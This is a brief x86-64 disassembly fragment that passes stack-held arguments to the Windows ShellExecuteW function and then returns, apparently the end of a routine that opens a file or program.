mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
add rsp, 0x250
pop rdi
ret